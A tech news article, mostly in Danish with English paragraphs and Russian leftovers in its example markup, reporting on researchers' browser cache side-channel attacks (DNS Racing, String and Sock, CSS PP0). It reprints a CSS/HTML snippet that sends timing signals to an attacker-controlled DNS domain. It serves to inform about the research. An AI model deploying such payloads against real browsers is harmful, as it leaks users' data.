En gruppe forskere fra flere amerikanske, israelske og australske universiteter har udviklet tre fungerende angreb i webbrowseren til at udvinde information om indholdet af processorens cache. Én metode fungerer i browsere uden JavaScript, mens de to andre omgår eksisterende beskyttelsesmetoder mod angreb via sideløbende kanaler, herunder dem der anvendes i Tor-browseren og DeterFox. Koden til at demonstrere angrebene samt de nødvendige serverkomponenter til angrebene er offentliggjort på GitHub.
Til analyse af cache-indholdet anvendes i alle angreb metoden Prime+Probe, som indebærer at fylde cachen med et referenssæt af værdier og bestemme ændringer ved at måle adgangstiden til dem ved genopfyldning. For at omgå de beskyttelsesmekanismer, der eksisterer i browsere, som forhindrer præcise tidtagninger, foretages der i to varianter henvendelser til en kontrolleret angriber DNS- eller WebSocket-server, hvor der føres log over tidspunktet for modtagelse af anmodninger. I den ene variant anvendes den faste DNS-svarstid som reference for tiden.
Målinger udført med involvering af eksterne DNS- eller WebSocket-servere har, ved at anvende et klassificeringssystem baseret på maskinlæring, været tilstrækkelige til at forudsige værdier med en præcision på op til 98% i det mest optimale scenarie (i gennemsnit 80-90%). Angrebsmetoderne er blevet testet på forskellige hardware-platforme (Intel, AMD Ryzen, Apple M1, Samsung Exynos) og har vist sig at være alsidige.

I den første variant af angrebet 'DNS Racing' anvendes en klassisk implementering af metoden Prime+Probe, som bruger JavaScript-arrays. Forskellene omfatter brugen af en ekstern timer baseret på DNS og en onerror-handler, der aktiveres, når der forsøges at indlæse et billede fra et ikke-eksisterende domæne. Den eksterne timer gør det muligt at udføre angrebet Prime+Probe i browsere, der begrænser eller fuldstændigt deaktiverer adgangen til JavaScript-timere.
For a DNS server located on the same Ethernet network, the timer accuracy is estimated at about 2 ms, which is sufficient for conducting attacks through external channels (for comparison, the accuracy of the default JavaScript timer in Tor Browser is reduced to 100 ms). For the attack, control over the DNS server is not required, as the execution time of the operation is adjusted so that the response time from DNS serves as an indicator of an earlier completion of the check (depending on whether the onerror handler triggered earlier or later, a conclusion is drawn about the speed of executing the check operation with the cache).
The second attack method, 'String and Sock', targets the circumvention of protective methods that limit low-level array usage in JavaScript. Instead of arrays, 'String and Sock' employs operations with very large strings, the size of which is chosen so that the variable covers the entire LLC (Last Level Cache). Then, using the indexOf() function, a small substring that initially does not exist in the original string is searched for, meaning that the search operation involves scanning the entire string. Since the size of the string matches the size of the LLC cache, scanning allows for the cache checking operation without manipulating arrays. To measure delays, instead of DNS, requests are sent to a controlled attacking WebSocket server — requests are sent before and after the string search operation, based on which the serveren delay utilized for cache content analysis is calculated.
Den tredje angrebsmetode «CSS PP0» er implementeret gennem HTML og CSS og kan fungere i browsere med JavaScript deaktiveret. Metoden minder om «String and Sock», men er ikke bundet til JavaScript. Under angrebet dannes et sæt CSS-vælgere, der udfører en søgning baseret på et mønster. Den oprindelige store streng, som fylder cachen, angives ved at oprette et div-tag med et meget langt klasse navn. Indeni placeres et sæt andre div'er med deres egne identiteter. For hver af disse indlejrede div'er defineres sin egen stil med en vælger, der udfører søgningen efter en delstreng. Når siden renderes, forsøger browseren først at behandle de indre div'er, hvilket fører til udførelsen af søgeoperationen i den store streng. Søgningen udføres på et mønster, der åbenlyst ikke findes, hvilket resulterer i en gennemgang af hele strengen, hvorefter betingelsen «not» træder i kraft, og der forsøges at indlæse et baggrundsbillede, der refererer til tilfældige domains: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Underdomænerne betjenes på angrebens DNS-server, som kan måle forsinkelser i modtagelse af forespørgsler. For alle forespørgsler returnerer DNS-serveren NXDOMAIN og fører en log over de præcise tidspunkter for anmodningerne. Som resultat af behandlingen af sæt af div'er modtager angrebens DNS-server en række forespørgsler, hvis forsinkelser korrelerer med resultatet af cacheindholdskontrollen.

Kilde: opennet.ru
